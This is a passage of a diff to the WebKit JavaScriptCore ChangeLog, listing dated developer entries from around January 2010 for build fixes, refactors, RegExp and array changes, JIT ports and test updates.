+        * runtime/JSByteArray.h:
+        * runtime/JSFunction.cpp:
+        (JSC::JSFunction::getOwnPropertyNames):
+        * runtime/JSFunction.h:
+        * runtime/JSNotAnObject.cpp:
+        (JSC::JSNotAnObject::getOwnPropertyNames):
+        * runtime/JSNotAnObject.h:
+        * runtime/JSObject.cpp:
+        (JSC::getClassPropertyNames):
+        (JSC::JSObject::getPropertyNames):
+        (JSC::JSObject::getOwnPropertyNames):
+        * runtime/JSObject.h:
+        * runtime/JSVariableObject.cpp:
+        (JSC::JSVariableObject::getOwnPropertyNames):
+        * runtime/JSVariableObject.h:
+        * runtime/ObjectConstructor.cpp:
+        (JSC::ObjectConstructor::ObjectConstructor):
+        (JSC::objectConstructorGetOwnPropertyNames):
+        * runtime/RegExpMatchesArray.h:
+        (JSC::RegExpMatchesArray::getOwnPropertyNames):
+        * runtime/StringObject.cpp:
+        (JSC::StringObject::getOwnPropertyNames):
+        * runtime/StringObject.h:
+        * runtime/Structure.cpp: Rename getEnumerablePropertyNames() to getPropertyNames(), which takes an extra argument.
+        (JSC::Structure::getPropertyNames):
+        * runtime/Structure.h:
+        (JSC::):
+
+2010-01-12  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33540
+        Make it possible to build in debug mode with assertions disabled
+
+        * jit/JITStubs.cpp: (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/Identifier.cpp: (JSC::Identifier::checkSameIdentifierTable):
+        * wtf/FastMalloc.cpp:
+        * wtf/HashTable.h: (WTF::HashTableConstIterator::checkValidity):
+        * yarr/RegexCompiler.cpp: (JSC::Yarr::compileRegex):
+
+2009-11-23  Yong Li  <yoli@rim.com>
+
+        Reviewed by Adam Treat.
+
+        Make GIF decoder support down-sampling
+        https://bugs.webkit.org/show_bug.cgi?id=31806
+
+        * platform/image-decoders/ImageDecoder.cpp:
+        (WebCore::ImageDecoder::upperBoundScaledY):
+        (WebCore::ImageDecoder::lowerBoundScaledY):
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::RGBA32Buffer::scaledRect):
+        (WebCore::RGBA32Buffer::setScaledRect):
+        (WebCore::ImageDecoder::scaledSize):
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::sizeNowAvailable):
+        (WebCore::GIFImageDecoder::initFrameBuffer):
+        (WebCore::copyOnePixel):
+        (WebCore::GIFImageDecoder::haveDecodedRow):
+        (WebCore::GIFImageDecoder::frameComplete):
+
+2010-01-12  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        ecma/Date/15.9.5.12-1.js fails every night at midnight
+        https://bugs.webkit.org/show_bug.cgi?id=28041
+
+        Change the test to use a concrete time instead of "now".
+
+        * tests/mozilla/ecma/Date/15.9.5.10-1.js:
+        * tests/mozilla/ecma/Date/15.9.5.12-1.js:
+
+2010-01-11  Csaba Osztrogonác  <ossy@webkit.org>
 
-        Reviewed by NOBODY (OOPS!).
+        Reviewed by Ariya Hidayat.
+
+        [Qt] Enable JIT and YARR_JIT if (CPU(X86_64) && OS(LINUX) && GCC_VERSION >= 40100)
+
+        * wtf/Platform.h:
+
+2010-01-11  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33481
+        Uninitialized data members in ArrayStorage
+        
+        SunSpider reports no change.
+
+        * runtime/JSArray.cpp:
+        (JSC::JSArray::JSArray): Initialize missing data members in the two cases
+        where we don't use fastZeroedMalloc, so it doesn't happen automatically.
+
+2010-01-11  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33480
+        
+        Improve debugging reliability for WTF on Windows.
+        Store WTF static library's PDB file into a better location.
+
+        * JavaScriptCore.vcproj/WTF/WTF.vcproj:
+
+2010-01-11  Steve Falkenburg  <sfalken@apple.com>
+
+        Windows build fix.
+        Remove extraneous entries from def file causing build warning.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-01-10  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        RegExp.prototype.toString returns "//" for empty regular expressions
+        https://bugs.webkit.org/show_bug.cgi?id=33319
+
+        "//" starts a single-line comment, hence "/(?:)/" should be used, according to ECMA.
+
+        * runtime/RegExpPrototype.cpp:
+        (JSC::regExpProtoFuncToString):
+
+        * tests/mozilla/ecma_2/RegExp/properties-001.js:
+        (AddRegExpCases):
+        * tests/mozilla/js1_2/regexp/toString.js:
+        Update relevant Mozilla tests (Mozilla has had this behavior since November 2003).
+
+2010-01-10  Darin Adler  <darin@apple.com>
+
+        * tests/mozilla/ecma/Array/15.4.1.1.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Array/15.4.1.2.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Array/15.4.2.1-1.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Array/15.4.2.2-1.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Array/15.4.2.2-2.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Array/15.4.2.3.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Array/15.4.3.2.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Array/15.4.3.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Array/15.4.4.1.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Array/15.4.4.js: Added property allow-tabs.
+        * tests/mozilla/ecma/LexicalConventions/7.7.4.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Math/15.8.2.13.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Math/15.8.2.16.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Math/15.8.2.18.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Math/15.8.2.2.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Math/15.8.2.4.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Math/15.8.2.5.js: Added property allow-tabs.
+        * tests/mozilla/ecma/Math/15.8.2.7.js: Added property allow-tabs.
+        * tests/mozilla/ecma/String/15.5.1.js: Added property allow-tabs.
+        * tests/mozilla/ecma/String/15.5.2.js: Added property allow-tabs.
+        * tests/mozilla/ecma/String/15.5.3.1-3.js: Added property allow-tabs.
+        * tests/mozilla/ecma/String/15.5.3.1-4.js: Added property allow-tabs.
+        * tests/mozilla/ecma/String/15.5.3.js: Added property allow-tabs.
+        * tests/mozilla/ecma/TypeConversion/9.5-2.js: Added property allow-tabs.
+        * tests/mozilla/ecma/jsref.js: Modified property allow-tabs.
+        * tests/mozilla/ecma/shell.js: Modified property allow-tabs.
+        * tests/mozilla/ecma_2/LexicalConventions/keywords-001.js: Added property allow-tabs.
+        * tests/mozilla/ecma_2/RegExp/exec-001.js: Added property allow-tabs.
+        * tests/mozilla/ecma_2/String/match-004.js: Added property allow-tabs.
+        * tests/mozilla/ecma_2/String/replace-001.js: Added property allow-tabs.
+        * tests/mozilla/ecma_2/String/split-002.js: Added property allow-tabs.
+        * tests/mozilla/ecma_2/jsref.js: Modified property allow-tabs.
+        * tests/mozilla/ecma_2/shell.js: Added property allow-tabs.
+        * tests/mozilla/ecma_3/Date/shell.js: Modified property allow-tabs.
+        * tests/mozilla/ecma_3/Exceptions/regress-181654.js: Added property allow-tabs.
+        * tests/mozilla/ecma_3/RegExp/regress-209067.js: Added property allow-tabs.
+        * tests/mozilla/ecma_3/RegExp/regress-85721.js: Added property allow-tabs.
+        * tests/mozilla/importList.html: Added property allow-tabs.
+        * tests/mozilla/js1_1/shell.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/Array/general1.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/Array/general2.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/Array/slice.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/Array/splice1.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/Array/splice2.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/Objects/toString-001.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/String/charCodeAt.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/String/concat.js: Modified property allow-tabs.
+        * tests/mozilla/js1_2/String/match.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/String/slice.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/function/Function_object.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/function/Number.js: Modified property allow-tabs.
+        * tests/mozilla/js1_2/function/String.js: Modified property allow-tabs.
+        * tests/mozilla/js1_2/function/nesting.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/function/regexparg-1.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/function/regexparg-2-n.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/jsref.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/operator/equality.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/operator/strictEquality.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_dollar_number.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_input.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_input_as_array.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_lastIndex.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_lastMatch.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_lastMatch_as_array.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_lastParen.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_lastParen_as_array.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_leftContext.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_leftContext_as_array.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_multiline.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_multiline_as_array.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_object.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_rightContext.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/RegExp_rightContext_as_array.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/alphanumeric.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/asterisk.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/backslash.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/backspace.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/beginLine.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/character_class.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/compile.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/control_characters.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/digit.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/dot.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/endLine.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/everything.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/exec.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/flags.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/global.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/hexadecimal.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/ignoreCase.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/interval.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/octal.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/parentheses.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/plus.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/question_mark.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/simple_form.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/source.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/special_characters.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/string_replace.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/string_search.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/string_split.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/test.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/toString.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/vertical_bar.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/whitespace.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/regexp/word_boundary.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/shell.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/statements/break.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/statements/continue.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/statements/do_while.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/statements/switch.js: Added property allow-tabs.
+        * tests/mozilla/js1_2/statements/switch2.js: Added property allow-tabs.
+        * tests/mozilla/js1_3/shell.js: Added property allow-tabs.
+        * tests/mozilla/js1_4/shell.js: Added property allow-tabs.
+        * tests/mozilla/js1_5/Regress/regress-111557.js: Added property allow-tabs.
+        * tests/mozilla/js1_5/Regress/regress-216320.js: Added property allow-tabs.
+        * tests/mozilla/menuhead.html: Added property allow-tabs.
+        * tests/mozilla/mklistpage.pl: Added property allow-tabs.
+        * tests/mozilla/runtests.pl: Added property allow-tabs.
+
+2010-01-08  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33417
+
+        Cleans up style errors exposed by the patch for bug #33198.
+        Moreover, fixes all "Weird number of spaces at line-start. Are you using a 4-space indent?"
+        errors reported by check-webkit-style.
+
+        No functionality was changed. So, no new tests.
+
+        * wtf/Platform.h:
+
+2010-01-08  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Don't store RegExp flags string representation
+        https://bugs.webkit.org/show_bug.cgi?id=33321
+
+        It's unused; the string representation is reconstructed from flags.
+
+        * runtime/RegExp.cpp:
+        (JSC::RegExp::RegExp):
+        * runtime/RegExp.h:
+
+2010-01-08  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Memory use grows grows possibly unbounded in this JavaScript Array test case
+        https://bugs.webkit.org/show_bug.cgi?id=31675
+
+        This fixes one observed bug in this test case, which is that
+        arrays don't report extra cost for the sparse value maps.
+
+        SunSpider reports a small speedup.
+
+        * runtime/JSArray.cpp:
+        (JSC::JSArray::putSlowCase): Report extra memory cost for
+        the sparse value map.
+        * runtime/JSArray.h: 
+
+2010-01-08  Yong Li  <yoli@rim.com>
+
+        Reviewed by Darin Adler.
+
+        Remove unnecessary #include from FastMalloc.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=33393
+
+        * wtf/FastMalloc.cpp:
+
+2010-01-08  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r52983.
+        http://trac.webkit.org/changeset/52983
+        https://bugs.webkit.org/show_bug.cgi?id=33321
+
+        Broke 59 JavaScriptCore tests.  I don't think Kent knew about
+        run-javascriptcore-tests.  Sadly neither does the commit-bot,
+        yet.
+
+        * runtime/RegExp.cpp:
+        (JSC::RegExp::RegExp):
+        * runtime/RegExp.h:
+        (JSC::RegExp::flags):
+
+2010-01-08  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r52981.
+        http://trac.webkit.org/changeset/52981
+        https://bugs.webkit.org/show_bug.cgi?id=33319
+
+        Caused two JS tests to start failing:
+        ecma_2/RegExp/properties-001.js and js1_2/regexp/toString.js
+
+        * runtime/RegExpPrototype.cpp:
+        (JSC::regExpProtoFuncToString):
+
+2010-01-08  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Don't store RegExp flags string representation
+        https://bugs.webkit.org/show_bug.cgi?id=33321
+
+        It's unused; the string representation is reconstructed from flags.
+
+        * runtime/RegExp.cpp:
+        (JSC::RegExp::RegExp):
+        * runtime/RegExp.h:
+
+2010-01-08  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        RegExp.prototype.toString returns "//" for empty regular expressions
+        https://bugs.webkit.org/show_bug.cgi?id=33319
+
+        "//" starts a single-line comment, hence "/(?:)/" should be used, according to ECMA.
+
+        * runtime/RegExpPrototype.cpp:
+        (JSC::regExpProtoFuncToString):
+
+2010-01-08  Norbert Leser  <norbert.leser@nokia.com>
+
+        Reviewed by Darin Adler.
 
         RVCT compiler with "-Otime -O3" optimization tries to optimize out 
         inline new'ed pointers that are passed as arguments.
         Proposed patch assigns new'ed pointer explicitly outside function call.
 
+        https://bugs.webkit.org/show_bug.cgi?id=33084
+
         * API/JSClassRef.cpp:
         (OpaqueJSClass::OpaqueJSClass):
         (OpaqueJSClassContextData::OpaqueJSClassContextData):
 
-2009-11-19  Thiago Macieira <thiago.macieira@nokia.com>
+2010-01-08  Gabor Loki  <loki@webkit.org>
+
+        Reviewed by Gavin Barraclough.
+
+        Remove an unnecessary cacheFlush from ARM_TRADITIONAL JIT
+        https://bugs.webkit.org/show_bug.cgi?id=33203
+
+        * assembler/ARMAssembler.cpp: Remove obsolete linkBranch function.
+        (JSC::ARMAssembler::executableCopy): Inline a clean linkBranch code.
+        * assembler/ARMAssembler.h:
+        (JSC::ARMAssembler::getLdrImmAddress): Use inline function.
+        (JSC::ARMAssembler::getLdrImmAddressOnPool): Ditto.
+        (JSC::ARMAssembler::patchPointerInternal): Remove an unnecessary cacheFlush.
+        (JSC::ARMAssembler::linkJump): Use patchPointerInternal instead of linkBranch.
+        (JSC::ARMAssembler::linkCall): Ditto.
+        (JSC::ARMAssembler::relinkCall): Ditto.
+
+2010-01-07  Gabor Loki  <loki@webkit.org>
+
+        Reviewed by Gavin Barraclough.
+
+        Build fix for JSVALUE32 when ENABLE_JIT_OPTIMIZE* are disabled
+        https://bugs.webkit.org/show_bug.cgi?id=33311
+
+        Move compileGetDirectOffset function to common part of JSVALUE32
+
+        * jit/JITPropertyAccess.cpp:
+        (JSC::JIT::compileGetDirectOffset):
+
+2010-01-07  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Allow call sites to determine if ASSERT_* and LOG_* macros are operational
+        https://bugs.webkit.org/show_bug.cgi?id=33020
+
+        * wtf/Assertions.h: Set ASSERT_MSG_DISABLED, FATAL_DISABLED,
+        ERROR_DISABLED, LOG_DISABLED to 1 if the compiler does not support
+        variadic macros. Refactor for better readibility.
+
+2010-01-07  Daniel Bates  <dbates@rim.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32987
+
+        Added ENABLE_XHTMLMP flag. Disabled by default.
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2010-01-07  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Gavin Barraclough.
+
+        [Symbian] Port ARM traditional JIT Trampolines to RVCT
+        https://bugs.webkit.org/show_bug.cgi?id=30552
+
+        Take the GCC implementation and mechanically convert
+        it to RVCT syntax.
+
+        Use 'bx rX' instead of 'mov pc, rX' when it is available.
+
+        Developed in cooperation with Iain Campbell and Gabor Loki.
+
+        * JavaScriptCore.pri: Extra step to generate RVCT stubs. The 
+        script generation intentionally executed all the time not just
+        for RVCT targets.
+
+        * create_rvct_stubs: Added. Perl script to expand precompiler macros
+        for RVCT assembler - the template is defined in JITStubs.cpp.
+
+        * jit/JITStubs.cpp:
+        (JSC::ctiTrampoline):
+        (JSC::ctiVMThrowTrampoline):
+        (JSC::ctiOpThrowNotCaught):
+
+2010-01-07  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix a crash seen on the buildbots.
+
+        * runtime/JSGlobalObject.cpp:
+        (JSC::JSGlobalObject::init): Disable specific function tracking here,
+        instead of in WebCore, to ensure that the disabling happens before a
+        specific function can be registered.
+
+2010-01-07  Alexey Proskuryakov  <ap@apple.com>
+
+        Mac build fix.
+
+        * JavaScriptCore.exp: Export new JSGlobalData static data members.
+
+2010-01-07  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33057
+        REGRESSION(r49365): typeof(xhr.responseText) != "string" in Windows
+
+        <rdar://problem/7296920> REGRESSION: WebKit fails to start PeaceKeeper benchmark
+
+        Test: fast/js/webcore-string-comparison.html
+
+        In r49365, some code was moved from JSString.cpp to JSString.h, and as a result, WebCore
+        got a way to directly instantiate JSStrings over DLL borders. Since vftable for JSString was
+        not exported, objects created from WebCore got a different vptr, and JavaScriptCore
+        optimizations that relied on vptr of all JSString objects being equal failed.
+
+        * config.h: Added a JS_EXPORTCLASS macro for exporting classes. It's currently the same as
+        JS_EXPORTDATA, but it clearly needed a new name.
+
+        * runtime/InitializeThreading.cpp:
+        (JSC::initializeThreadingOnce):
+        * runtime/JSGlobalData.cpp:
+        (JSC::JSGlobalData::storeVPtrs):
+        (JSC::JSGlobalData::JSGlobalData):
+        (JSC::JSGlobalData::createNonDefault):
+        (JSC::JSGlobalData::create):
+        (JSC::JSGlobalData::sharedInstance):
+        * runtime/JSGlobalData.h:
+        Store vptrs just once, no need to repeatedly pick and copy them. This makes it possible to
+        assert vptr correctness in object destructors (which don't have access to JSGlobalData,
+        and even Heap::heap(this) will fail for fake objects created from storeVPtrs()).
+
+        * runtime/JSArray.cpp: (JSC::JSArray::~JSArray): Assert that vptr is what we expect it to be.
+        It's important to assert in destructor, because MSVC changes the vptr after constructor
+        is invoked.
+        * runtime/JSByteArray.cpp: (JSC::JSByteArray::~JSByteArray): Ditto.
+        * runtime/JSByteArray.h: Ditto.
+        * runtime/JSFunction.h: Ditto.
+        * runtime/JSFunction.cpp: (JSC::JSFunction::~JSFunction): Ditto.
+
+        * runtime/JSCell.h: (JSC::JSCell::setVPtr): Added a method to substitute vptr for another
+        one.
+
+        * runtime/JSString.h: Export JSString class together with its vftable, and tell other
+        libraries tp import it. This is needed on platforms that have a separate JavaScriptCore
+        dynamic library - and on Mac, we already did the export via JavaScriptCore.exp.
+        (JSC::JSString::~JSString): Assert tha vptr is what we expect it to be.
+        (JSC::fixupVPtr): Store a previously saved primary vftable pointer (do nothing if building
+        JavaScriptCore itself).
+        (JSC::jsSingleCharacterString): Call fixupVPtr in case this is call across DLL boundary.
+        (JSC::jsSingleCharacterSubstring): Ditto.
+        (JSC::jsNontrivialString): Ditto.
+        (JSC::jsString): Ditto.
+        (JSC::jsSubstring): Ditto.
+        (JSC::jsOwnedString): Ditto.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def: Export the new static
+        JSGlobalData members that are used in WebCore via inline functions.
+
+2010-01-07  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Safari memory usage skyrockets using new Google AdWords interface
+        https://bugs.webkit.org/show_bug.cgi?id=33343
+
+        The memory use was caused by the global object creating too many structures
+        as it thrashed between different specific functions.
+
+        * runtime/Structure.cpp:
+        (JSC::Structure::Structure):
+        (JSC::Structure::addPropertyTransition):
+        (JSC::Structure::changePrototypeTransition):
+        (JSC::Structure::despecifyFunctionTransition):
+        (JSC::Structure::addAnonymousSlotsTransition):
+        (JSC::Structure::getterSetterTransition):
+        (JSC::Structure::toDictionaryTransition):
+        (JSC::Structure::addPropertyWithoutTransition):
+        (JSC::Structure::despecifyAllFunctions):
+        * runtime/Structure.h:
+        (JSC::Structure::disableSpecificFunctionTracking): Track a thrash count
+        for specific functions. Disable specific function tracking once the
+        thrash count has been hit.
+
+2010-01-07  Csaba Osztrogonác  <ossy@webkit.org>
 
         Reviewed by Simon Hausmann.
 
-        Build fix for 32-bit Sparc machines: these machines are big-endian.
+        [Qt] Enable JIT in debug mode on win32 after r51141 fixed the crashes.
+
+        * JavaScriptCore.pri:
+
+2010-01-07  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Holger Freyther.
+
+        [Mac] Build fix when FAST_MALLOC_MATCH_VALIDATION=1
+        https://bugs.webkit.org/show_bug.cgi?id=33312
+
+        Using of operator += cause compile error on Mac, so it is changed to
+        "= static_cast<AllocAlignmentInteger*>(old_ptr) + 1".
+
+        * wtf/FastMalloc.cpp:
+        (WTF::TCMallocStats::realloc):
+
+2010-01-07  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] Build fix when FAST_MALLOC_MATCH_VALIDATION=1
+        https://bugs.webkit.org/show_bug.cgi?id=33312
+
+        Remove pByte (committed in r42344 from #20422), because pByte doesn't
+        exist and it is unnecessary.
+
+        * wtf/FastMalloc.cpp:
+        (WTF::TCMallocStats::realloc):
+
+2010-01-06  Gavin Barraclough  <barraclough@apple.com>
+
+        QT build fix.
+
+        * runtime/Identifier.cpp:
+        (JSC::createIdentifierTableSpecific):
+
+2010-01-06  Gavin Barraclough  <barraclough@apple.com>
+
+        Windows build fix part I.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-01-06  Dan Bernstein  <mitz@apple.com>
+
+        Build fix
+
+        * runtime/Identifier.cpp:
+        (JSC::createIdentifierTableSpecificCallback):
+
+2010-01-05  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33236
+        Remove m_identifierTable pointer from UString
+
+        Currently every string holds a pointer so that during destruction,
+        if a string has been used as an identifier, it can remove itself
+        from the table.  By instead accessing the identifierTable via a
+        thread specific tracking the table associated with the current
+        globaldata, we can save the memory cost of this pointer.
+
+        * API/APIShims.h:
+        (JSC::APIEntryShimWithoutLock::APIEntryShimWithoutLock):
+        (JSC::APIEntryShimWithoutLock::~APIEntryShimWithoutLock):
+        (JSC::APICallbackShim::APICallbackShim):
+        (JSC::APICallbackShim::~APICallbackShim):
+
+            - change the API shims to track the identifierTable of the current JSGlobalData.
+
+        * API/JSContextRef.cpp:
+        (JSContextGroupCreate):
+
+            - update creation of JSGlobalData for API usage to use new create method.
+            - fix shim instanciation bug in JSGlobalContextCreateInGroup.
+
+        * JavaScriptCore.exp:
+        * runtime/Completion.cpp:
+        (JSC::checkSyntax):
+        (JSC::evaluate):
+
+            - add asserts to check the identifierTable is being tracked correctly.
+
+        * runtime/Identifier.cpp:
+        (JSC::IdentifierTable::~IdentifierTable):
+        (JSC::IdentifierTable::add):
+        (JSC::Identifier::remove):
+        (JSC::Identifier::checkSameIdentifierTable):
+        (JSC::createIdentifierTableSpecificCallback):
+        (JSC::createIdentifierTableSpecific):
+        (JSC::createDefaultDataSpecific):
+
+            - Use currentIdentifierTable() instead of UStringImpl::m_identifierTable.
+            - Define methods to access the thread specific identifier tables.
+
+        * runtime/Identifier.h:
+        (JSC::ThreadIdentifierTableData::ThreadIdentifierTableData):
+        (JSC::defaultIdentifierTable):
+        (JSC::setDefaultIdentifierTable):
+        (JSC::currentIdentifierTable):
+        (JSC::setCurrentIdentifierTable):
+        (JSC::resetCurrentIdentifierTable):
+
+            - Declare methods to access the thread specific identifier tables.
+
+        * runtime/JSGlobalData.cpp:
+        (JSC::JSGlobalData::createNonDefault):
+        (JSC::JSGlobalData::create):
+        (JSC::JSGlobalData::sharedInstance):
+
+            - creation of JSGlobalData objects, other than for API usage, associate themselves with the current thread.
+
+        * runtime/JSGlobalData.h:
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::destroy):
+
+            - destroy() method should be using isIdentifier().
+
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::isIdentifier):
+        (JSC::UStringImpl::setIsIdentifier):
+        (JSC::UStringImpl::checkConsistency):
+        (JSC::UStringImpl::UStringImpl):
+
+            - replace m_identifierTable with a single m_isIdentifier bit.
+
+        * wtf/StringHashFunctions.h:
+        (WTF::stringHash):
+
+            - change string hash result from 32-bit to 31-bit, to free a bit in UStringImpl for m_isIdentifier.
+
+2009-12-25 Patrick Gansterer <paroga@paroga.com>
+ 
+        Reviewed by Eric Seidel.
+
+        Buildfix for WinCE + style fixes.
+        https://bugs.webkit.org/show_bug.cgi?id=32939
+
+        * jsc.cpp:
+        (functionPrint):
+        (functionQuit):
+        (parseArguments):
+        (fillBufferWithContentsOfFile):
+ 
+2010-01-05  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Eric Seidel.
+
+        WinCE buildfix after r52791 (renamed PLATFORM(WINCE) to OS(WINCE)).
+        https://bugs.webkit.org/show_bug.cgi?id=33205
+
+        * jit/ExecutableAllocator.h:
+
+2010-01-05  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Darin Adler.
+
+        Added compiler error for unsupported platforms.
+        https://bugs.webkit.org/show_bug.cgi?id=33112
+
+        * jit/JITStubs.cpp:
+
+2010-01-05  Gabor Loki  <loki@webkit.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Follow r52729 in ARMAssembler.
+        https://bugs.webkit.org/show_bug.cgi?id=33208
+
+        Use WTF_ARM_ARCH_AT_LEAST instead of ARM_ARCH_VERSION
+
+        * assembler/ARMAssembler.cpp:
+        (JSC::ARMAssembler::encodeComplexImm): Move tmp declaration to ARMv7
+        * assembler/ARMAssembler.h:
+        (JSC::ARMAssembler::):
+        (JSC::ARMAssembler::bkpt):
+
+2010-01-05  Maciej Stachowiak  <mjs@apple.com>
+
+        Unreviewed build fix for Gtk+
+
